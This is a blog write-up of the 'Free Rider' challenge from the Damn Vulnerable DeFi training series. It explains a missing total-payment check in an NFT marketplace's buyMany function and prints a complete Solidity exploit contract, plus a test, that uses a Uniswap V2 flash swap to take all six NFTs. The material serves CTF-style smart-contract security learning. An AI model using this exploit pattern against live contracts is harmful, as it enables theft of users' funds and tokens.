Free Rider, Damn Vulnerable Defi #10 Write up

Alireza Arjmand
6 min readDec 25, 2022

--

In this write up, we explore the #10 challenge in the damn vulnerable defi series, Free Rider.

To Start off, we take a quick look at the contracts and see what they do.

FreeRiderBuyer.sol:

As the challenge says, this is our partner that gave us important information about the vulnerable contract. We are trying to build a reputation with this buyer so we are not looking for a vulnerability here.

The constructor checks to see if the job payout is sent in msg.value and sets the partner and the NFT address. afterwards, it setsApprovalForAll and passes the msg.sender address so the owner of the contract can retrieve the NFTs owned by the contract at a later date.

onERC721Received is a method called by ERC721 if the address on the receiving end is a contract. This method gets called at the end of safeTransfer and safeMint methods inside the ERC721 contract. Its main purpose is to make sure the receiver plays a role in the lifetime of a transaction sending tokens to some receiver contract, and in our case, is to transfer the job payout to the partner address if all six NFTs are received.

FreeRiderMarketplace.sol:

This is the contract we want to exploit and steal the NFTs from, we see that the contract is using ReentrancyGuard and is using nonReentrant modifier on all the external function that includes logic so we should look for other ways to exploit it.

The constructor inside this contract deploys a DamnValuableNFT and mints 6 tokens and sends them to the msg.sender. Since only the owner of the DamnValuableNFT can mint more tokens and there are no other methods in the marketplace contract to mint more, we would have no way of accessing the DamnValuableNFT contract and we should steal the 6 already minted tokens.

offerMany contract only repeats what _offerone contract does in a loop. _offerone function then has some security checks and checks to see if the owner of the NFTs approved the marketplace contract for NFT transfer. Then it lists all offers in the offers array with the associated price.

buyMany also repeats what _buyOne does as many times as necessary. Then it checks the price of an NFT vs the msg.value and continues to transfer the tokens to the buyer and send the money to the previous NFT owner. simple right? Wrong!! Look again, pay attention to the security checks at the start of the _buyOne function:

    function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length; i++) {
_buyOne(tokenIds[i]);
}
}

function _buyOne(uint256 tokenId) private {
uint256 priceToPay = offers[tokenId];
require(priceToPay > 0, "Token is not being offered");

require(msg.value >= priceToPay, "Amount paid is not enough");

amountOfOffers--;

// transfer from seller to buyer
token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);

// pay seller
payable(token.ownerOf(tokenId)).sendValue(priceToPay);

emit NFTBought(msg.sender, tokenId, priceToPay);
}

While buyMany repeats _buyOne in a loop, it needs to check the price of all NFTs requested vs the msg.value. But it only checks the price of every single NFT vs msg.value inside _buyOne. It means to exploit the function, one can buy all NFTs by paying the price of the biggest NFT on the list! It means that we can buy all 6 NFTs valued at 6 * 15 = 90 ETH by paying only 15 ETH.

There is also a second vulnerability in this contract (Fixed in this pull request). Basically, the contract first changes the ownership of the NFT and then sends the money to the owner! which means the new owner gets both NFT and the money while the old owner gets nothing! (I do not think this is the intended behaviour of this contract and should probably be fixed in the future)

However, there is a problem! We only have 0.5 ETH and somehow need more! There is no way to extract the money out of the freeRiderBuyer contract so we need to think of another way. On the main chain, we can easily take a flash loan from one of the existing services and carry on with the exploit, but what to do here?

Let’s take a look at the challenge code inside the test file. We can quickly see that there is a Uniswap V2 WETH/DVT contract deployed in the test file and it has more than enough ETH in its pool for us to use. Now to borrow money from the Uniswap pool you can read this link to understand more about it. But basically, every swap in Uniswap V2 is a flash swap. It means that the contract first gives out the values requested, then transfers control to the caller contract before checking to see if the borrowed amount + fee is returned by the caller. A good resource to see how flash swaps work in action can be found here. The exploit can be defined as:

To explain each step:

1- Attacker requests to borrow 15 ETH from the Uniswap V2 Pool

2- Uniswap V2 sends the ETH to the attacker and transfers control to the attacker

3- Attacker sends a transaction to buyMany function requesting to buy all of the NFTs for 15 ether

4- Marketplace sends the NFTs to the attacker

5- Attacker sends the NFTs to the Free Rider Buyer and claims the 45 ETH payout.

6- Attacker returns the borrowed 15 ETH + fees which would be 15/0.997 ETH = 15.0451354062. (According to Link)

One thing to note is that to carry on the exploit successfully, we need to include all of the steps inside one transaction since flash swap needs to be repaid in the same transaction as it is borrowed. To carry on the exploit, we need to write a contract with one function that initiates the flash swap, and another function for the callback from the Uniswap Pair. To borrow the ETH, we can call the swap function in Uniswap Pair contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./FreeRiderBuyer.sol";
import "./FreeRiderNFTMarketplace.sol";
import "../DamnValuableNFT.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

/**
* @title FreeRiderExploit
* @author Allarious (https://twitter.com/AR_Arjmand)
*/
contract FreeRiderExploit is IERC721Receiver {
address public owner;

IERC20 immutable token0;
WETH immutable token1;

FreeRiderNFTMarketplace victim;

IUniswapV2Factory immutable factory;

IUniswapV2Pair pair;

address immutable partner;
DamnValuableNFT nft;

constructor(
address _token0,
address _token1,
address _factory,
address payable _victim,
address _partner,
address _nft
) {
owner = msg.sender;
token0 = IERC20(_token0); // DVT
token1 = WETH(_token1); // WETH
factory = IUniswapV2Factory(_factory);
victim = FreeRiderNFTMarketplace(_victim);
partner = _partner;
nft = DamnValuableNFT(_nft);
}

function setPair() external {
pair = IUniswapV2Pair(
factory.getPair(address(token0), address(token1))
);
}

function flashSwap() external {
require(msg.sender == owner);

pair.swap(15 ether, 0, address(this), "dummy data");
}

function uniswapV2Call(
address sender,
uint amount0,
uint amount1,
bytes calldata data
) external {
require(
msg.sender == address(pair),
"FreeRiderExploit: Only accepts transactions from uniswap pair"
);
token1.withdraw(15 ether);

stealNFTs();

uint returnAmount = 15 ether + (15 ether * 4) / 1000;

for (uint i = 0; i < 6; i++) {
nft.safeTransferFrom(address(this), partner, i, "");
}

token1.deposit{value: returnAmount}();
token1.transfer(address(pair), returnAmount);
}

function stealNFTs() private {
uint[] memory tokenIds = new uint[](6);

for (uint i = 0; i < 6; i++) {
tokenIds[i] = i;
}

victim.buyMany{value: 15 ether}(tokenIds);
}

receive() external payable {}

function onERC721Received(
address,
address,
uint256 _tokenId,
bytes memory
) external override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
}

interface WETH {
function withdraw(uint wad) external;

function deposit() external payable;

function transfer(address dst, uint wad) external returns (bool);

function balanceOf(address add) external returns (uint);
}
describe('[Challenge] Free Rider', function () {
/* setup code */

before(async function () {
/* setup code in before */
});

it('Exploit', async function () {
this.exploitFactory = await ethers.getContractFactory('FreeRiderExploit', attacker);
this.exploit = await this.exploitFactory.deploy(
this.token.address,
this.weth.address,
this.uniswapFactory.address,
this.marketplace.address,
this.buyerContract.address,
this.nft.address
);
await this.exploit.setPair();

await this.exploit.flashSwap();
});

after(async function () {
/* Code in after test */
});
});

Hope this helped!

--

--